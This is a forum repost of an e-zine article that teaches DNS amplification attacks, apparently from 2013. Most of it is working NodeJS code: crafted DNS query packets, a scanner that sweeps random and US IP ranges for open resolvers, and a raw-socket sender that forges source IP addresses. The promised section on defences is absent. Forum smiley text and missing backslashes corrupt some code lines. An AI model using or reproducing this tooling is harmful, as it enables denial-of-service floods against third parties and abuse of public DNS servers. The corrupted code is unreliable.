Practical DNS-Amplification
#1
Practical DNS-Amplification

Credits: MZh
Issue: 2013
Source: Inception E-Zine


Good old DNS-Amplification. Those familiar with the subject could skip a paragraph or even doesn't read this at all.

Attack principle is pretty simple. Every nameserver responds to anything. If there's an IP address present into packet header, NS responds to that IP.

The sense of amplification is to achieve request packet size closer to respondse packet size. Most overused method is to query domain "." DNS responds with massive packet containing several root DNS records. It looks like this:

Code [Expanded]:

length 540
    209.160.35.110.domain  46.4.179.132.50723: [udp sum ok] 3- q: AAAA? . 0/13/14
    ns:
    . NS f.root-servers.net.,
    . NS g.root-servers.net.,
    . NS h.root-servers.net.,
    . NS i.root-servers.net.,
    . NS j.root-servers.net.,
    . NS k.root-servers.net.,
    . NS l.root-servers.net.,
    . NS m.root-servers.net.,
    . NS a.root-servers.net.,
    . NS b.root-servers.net.,
    . NS c.root-servers.net.,
    . NS d.root-servers.net.,
    . NS e.root-servers.net.
ar:
  a.root-servers.net. A 198.41.0.4,
  a.root-servers.net. AAAA 2001:503:ba3e::2:30,
  b.root-servers.net. A 192.228.79.201,
  c.root-servers.net. A 192.33.4.12,
  d.root-servers.net. A 199.7.91.13,
  d.root-servers.net. AAAA 2001:500:2d::d,
  e.root-servers.net. A 192.203.230.10,
  f.root-servers.net. A 192.5.5.241,
  f.root-servers.net. AAAA 2001:500:2f::f,
  g.root-servers.net. A 192.112.36.4,
  h.root-servers.net. A 128.63.2.53,
  h.root-servers.net. AAAA 2001:500:1::803f:235,
  i.root-servers.net. A 192.36.148.17,
  i.root-servers.net. AAAA 2001:7fe::53

(512)

As we could see, response extends 500 bytes. That's very much, considering the request was only 17 bytes (not counting IP/UDP headers). Normally, attacking requires servers with largest response packets. There are not so many DNS's good enough, as the attack is old as the world can be, and there's many solutions to prevent this vulnerability from being exploited. That's covered in article's final part.


Looking for vulnerable servers.
Attacker would need a server with enough bandwidth and hosting company being loyal to good outgoing UDP flow. It's better to scan with fast code, written in native languages. I used NodeJS as resolving lags overlaps time consumed to run the code. If theresn't enough performance, node could be executed as a cluster with over 9000 children. The idea is simple - send the packets and watch the responses. Packets could be sent to random host:

Code:
var ip = [rand(255), rand(255), rand(255), rand(255)].join('.')
sendPacket(ip);

as well as choosing target hosts more precisely. To speed up the scanning it is advised to get nameservers list, as large as possible. One would need a big (over 1-2 mln) list of any domains. As domain is taken from the list, DNS record is requested for that domain. Response would contain list of DNS's providing name resolution for that domain. These DNS's added to testing list.

Code:
var dns = require('dns');
dns.resolveNs('google.com', function (err, addresses) {
if (!err){
  addresses.forEach(function (a) {
  sendPacket(a);
  });
}
});

Now the fun part - send DNS packet:

Code [Expanded]:

var ns_packet = new Buffer([
    //---- standard header -----
    0x00, 0x03, // ID request
    0x01, 0x00, // Flags
    0x00, 0x01, // Number of requests : 1
    0x00, 0x00, // Number of responses : 0
    0x00, 0x00, // Number of authorized entries
    0x00, 0x00, // Number of additional entries
    //---- request body -----
    // AAAA entry for "."
    0x00, 0x00,
    0x1C, 0x00,
    0x01
]);

Code:

Code [Expanded]:

var client = dgram.createSocket('udp4');

function sendPacket(ip){
client.send(ns_packet, 0, ns_packet.length, 53, ip, function(err, bytes) {
  console.log('sent %d bytes', bytes);
});
}

client.on('error', function(msg, rinfo){
console.log('client error');
});

client.on('message', function(msg, rinfo){
if(msg.length > 0){
  console.log("%d bytes from %s:%d",
  msg.length, rinfo.address, rinfo.port);
}
});

Thus, we managed to collect more than 100k servers, which answer with packages in 1/2 kb, in just a few hours.


More efficient hosts scanning
Previously described step restricts from rapid increase in power due to:
  1. if DNS reponded to YOUR direct request, this doen't mean DNS surely gets packet with spoofed IP;
  2. scanning from a single host uses both upstream and downstream bandwidth so there's some packet loss in DNS responses.

More efficient approach is to scan from 2 servers, one dedicated to receiving packets from DNS, while another sends spoofed IP packets to DNS. It is mandatory that servers must be allocated in different data-centers, different countries preferred. There may be one or several spoofing servers. I checked with 2 spoofing and one receiving servers.

NodeJS applications are used to receive and send packets. Let's call receiving side the "client". It is crucially simplified. Functional example:
  1. create UDP server listening 5353 port ( dgram.createSocket("udp4") \ server.bind(5353)Wink
  2. incoming packets sorted by size;
  3. If packet size fits (over 200-300 bytes), source host is written to a log (fs.createWriteStream \ write);

Code [Expanded]:

var dgram = require('dgram');
var fs = require('fs');
var dns = require('dns');
var util = require('util');

var ws = fs.createWriteStream("incoming_ips.txt", {
flags: 'w+'
});

var server = dgram.createSocket("udp4");

function getPercent(total, amount){
return (amount * 100) / total;
}

server.on('error', function(msg, rinfo){
console.log('server error');
});

server.on('message', function(msg, rinfo){
if(msg.length > 100){
  var line = util.format("%d:%s:%d:%d",
  msg.length, rinfo.address, rinfo.port,
  getPercent(17, msg.length));
  console.log(line);
  ws.write(line + 'n');
}
});

server.bind(5353);
console.log('NS Client started');

This code will capture all of our logged packets, and the log would be parser friendly. A separate server would be introduced as a string: packet_sizeBig GrinNS_IP:amplification_ratio


More efficient hosts scanning
Spoofing part is coded using node-raw-socket UNIX-sockets wrapper for *nix that allows to craft custom IP headers for outgoing packets. Of course this requires root priveleges. The principle is simple. We have crafted DNS request packet, along with IP header and UDP packet with DNS-query payload:

Code [Expanded]:

var buffer = new Buffer ([
//--------- IP packet ----------
0x45, 
0x00,
0x00, 0x25, //length
0x7c, 0x9b, //ID
0x00, 0x00, //flagsfragment offset
0x80,  //TTL
0x11,  //protocol
0x00, 0x00, //crc
0x00, 0x00, 0x00, 0x00, //source IP
0xc0, 0xa8, 0x41, 0x01, //dest IP
//--------- 8 bytes  of UDP packet ----------
0x14, 0xE9, //sender port
0x00, 0x35, //target port
0x00, 0x19, //data length
0x00, 0x00, //crc
//--------- 17 bytes of DNS packet ----------   
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);

All we need is to insert addresses into IP header:
  1. src_ip - packet receiver IP (client)
  2. dst_ip - potentially vulnerable DNS IP
Source port 5353 used in UDP packet is the same port client listens to. Checksums are set to 0 for OS stack to recalculate checksums while sending packets.


More efficient hosts scanning
Random generated numbers shows good results, and it's possible to scan countries' ranges. I took listed ranges:

Code [Expanded]:

3.0.0.0-3.103.8.36
3.103.8.38-4.18.65.255
4.18.68.0-4.28.83.255
4.28.85.0-4.31.64.63
4.31.64.72-4.59.175.255
4.59.177.0-4.68.23.139
4.68.23.141-4.68.23.189
4.68.23.191-4.68.25.1
4.68.25.4-4.68.115.255
4.68.118.0-4.69.131.255
4.69.132.53-4.69.132.53
4.69.132.61-4.69.132.61
4.69.132.65-4.69.132.65

and explored them subsequently. It is important to provide subsequent packet flow on asynchronous architecture. To ensure this a spike was made proven rather stable, loading 20 megabits of 100 available and not blocking node's event pool.
A shortened spike:

Code [Expanded]:

function repeater(diapasons, nextIp , endIp) {
async(function(){
  process.nextTick(function(){
  repeater(diapasons, current_ip + 1, endIp);
  });
});
}

repeater(undefined, undefined, undefined);

It requires raw-socket module to execute: npm install raw-socket

Spoofing part code:

Code:
var raw = require ("raw-socket");
var fs = require('fs');
var dns = require('dns');
var util = require('util');

var options = {
    protocol: raw.Protocol.UDP,
    bufferSize: 4096*8
};

var socket = raw.createSocket (options);

socket.setOption (raw.SocketLevel.IPPROTO_IP,
raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4);


var buffer = new Buffer ([
//--------- IP packet ----------
0x45, 
0x00,
0x00, 0x25, //length
0x7c, 0x9b, //ID
0x00, 0x00, //flagsfragment offset
0x80,  //TTL
0x11,  //protocol
0x00, 0x00, //crc
0x00, 0x00, 0x00, 0x00, //source IP
0xc0, 0xa8, 0x41, 0x01, //dest IP
//--------- 8 bytes  of UDP packet ----------
0x14, 0xE9, //sender port
0x00, 0x35, //target port
0x00, 0x19, //data length
0x00, 0x00, //crc
//--------- 17 bytes of DNS packet ----------   
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);

function ip2long ( ip_address ) {   
    var output = false;
    var parts = [];
    if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) {
        parts  = ip_address.split('.');
        output = ( parts[0] * 16777216 +
        ( parts[1] * 65536 ) +
        ( parts[2] * 256 ) +
        ( parts[3] * 1 ) );
    }

    return output;
}

function long2ip ( proper_address ) {
    var output = false;

    if ( !isNaN ( proper_address ) && ( proper_address >= 0 ||
proper_address <= 4294967295 ) ) {
  output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' +
  Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) /
  Math.pow ( 256, 2 ) ) + '.' +
  Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) )  %
  Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' +
  Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) %
  Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) /
  Math.pow ( 256, 0 ) );
    }

    return output;
}


function rand(max){
return Math.floor(Math.random()*max)
}

function ip_packet_length(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 2);
}
return buff.readUInt16BE(2);
}

function ip_packet_id(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 4);
}
return buff.readUInt16BE(4);
}

function ip_packet_ttl(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 8);
}
return buff.readUInt8(8);
}


function ip_packet_proto(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 9);
}
return buff.readUInt8(9);
}


function ip_packet_crc(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 10);
}
return buff.readUInt16BE(10);
}


function ip_packet_source_addr(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 12);
}
return buff.readUInt32BE(12);
}

function ip_packet_dest_addr(buff, newval){

if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 16);
}
return buff.readUInt32BE(16);
}

//process IP ranges
function parseIpFile(filename){

var diapasons = [];
var ip_database = fs.readFileSync(filename).toString().split('n');

console.log("ranges readed : %d", ip_database.length);

var totalAddreses = 0;

for(var i = 0; i < ip_database.length; i ++){

  var rangeStartEnd = ip_database[i].split('-');
  var startIp = ip2long(rangeStartEnd[0]);
  var endIp = ip2long(rangeStartEnd[1]);

  totalAddreses += (endIp - startIp);

  diapasons.push([
  startIp,
  endIp
  ]);
}

console.log('total addreses : %d', totalAddreses);

return diapasons;
}

function sendPacket(possibleNSip, callback){

ip_packet_dest_addr(buffer, possibleNSip);
ip_packet_source_addr(buffer, collectorIpLong);


socket.send (buffer, 0, buffer.length, long2ip(possibleNSip),
function (error, bytes) {
    callback();
});
}

function randomIp(){
return ip2long([rand(250),rand(250),rand(250),
rand(250)].join('.'));
}

function repeater(diapasons, nextIp , endIp) {
var current_ip = nextIp;

if(typeof(diapasons) === 'undefined'){
  current_ip = randomIp();
}

if(typeof(current_ip) === 'undefined'){
  var current_iprange = diapasons.shift();
  if( current_iprange.length > 0) {
  current_ip = current_iprange[0];
  endIp = current_iprange[1];
  }else{
  repeater(diapasons, undefined, undefined);
  }
}

sendPacket(current_ip, function(){
  if(current_ip === endIp){
  console.log('end of range, try next');
  repeater(diapasons, undefined, undefined);
  }else{
  process.nextTick(function(){
    repeater(diapasons, current_ip + 1, endIp);
  });
  }
});

}

var collectorIp = '1.2.3.4'; // IP client receiving packets
var collectorIpLong = ip2long(collectorIp);

//for random we pass undefined instead of the ip list
//repeater(undefined, undefined, undefined);
//for sending by ranges, we transmit the parsed range
repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Ebooks] DNS Insider 0 14,078 12-17-2020, 11:02 PM
Last Post: Insider
  Don't Block ICMP at Boarder: ICMP Type 3 Code 3 and DNS Rorutza 0 15,464 06-18-2018, 06:30 AM
Last Post: Rorutza
  Attacking the DNS Protocol [PDF] Cypher 3 17,193 12-28-2016, 06:30 PM
Last Post: enmafia2